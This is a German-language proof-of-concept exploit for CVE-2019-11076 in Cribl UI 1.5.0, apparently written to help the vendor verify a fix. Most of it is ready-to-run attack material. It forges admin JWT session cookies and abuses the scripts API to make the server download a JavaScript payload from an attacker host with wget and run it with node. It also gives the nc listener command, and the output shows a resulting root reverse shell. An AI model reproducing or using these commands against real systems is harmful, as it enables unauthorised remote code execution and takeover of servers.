
CVE-2019-11076 - Cribl UI 1.5.0 ermöglicht es entfernten Angreifern, über eine nicht authentifizierte Webanforderung beliebige Befehle auszuführen.
Dies dient nur zu Informations- und Bildungszwecken.
Dies wurde zusammengestellt, um eine Unsicherheit in dem Tool zu demonstrieren, damit eine Fehlerbehebung vom Anbieter verifiziert werden kann.
Getestet auf Cribl v1.5.0 - Frühere Versionen nicht getestet, aber wahrscheinlich anfällig.
Ein gültiges JWT-Token kann von einer anderen Cribl-Instanz übertragen und in deren Sitzung injiziert werden, wodurch der Benutzer unbefugten Zugriff erhält.
Darüber hinaus kann der Verschlüsselungsschlüssel, der zur Generierung des JWT/Session verwendet wird, verwendet werden, um eine gültige Sitzung für jeden Benutzernamen mit verlängerter Gültigkeit zu erstellen.
Dies, kombiniert mit der Möglichkeit, Skripte innerhalb von Cribl auszuführen, ermöglicht es einem entfernten Angreifer, bösartigen Code auf einer Crible-Instanz auszuführen, um weitere Kontrolle zu erlangen.
Ein Beispiel hierfür ist unten zu sehen: Mit der Skriptseite und einem JWT-Token mit langer Gültigkeitsdauer war es möglich, eine Reverse Shell zu erstellen.
Getestet mit Docker (Alpine).
Ändern Sie zunächst (den Remote-Hostnamen) und laden Sie Ihre shell.js auf Ihren Webserver hoch. Die Datei enthält NodeJS-Code, um eine Reverse Shell zu Ihrer Website zu erstellen.
Der Server muss ausgehenden Netzwerkzugriff auf Ihren Remote-Host/Port haben.
Zweitens richten Sie einen Listener auf Ihrem Remote-Host auf dem Port ein, der mit shell.js übereinstimmt:
nc -lvp 6669
Passen Sie die folgenden curl-Befehle mit Ihrer entfernten Datei an.
Führen Sie die CURL-Befehle der Reihe nach aus. Die Ausgaben sollten in etwa den untenstehenden Einrückungen entsprechen.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...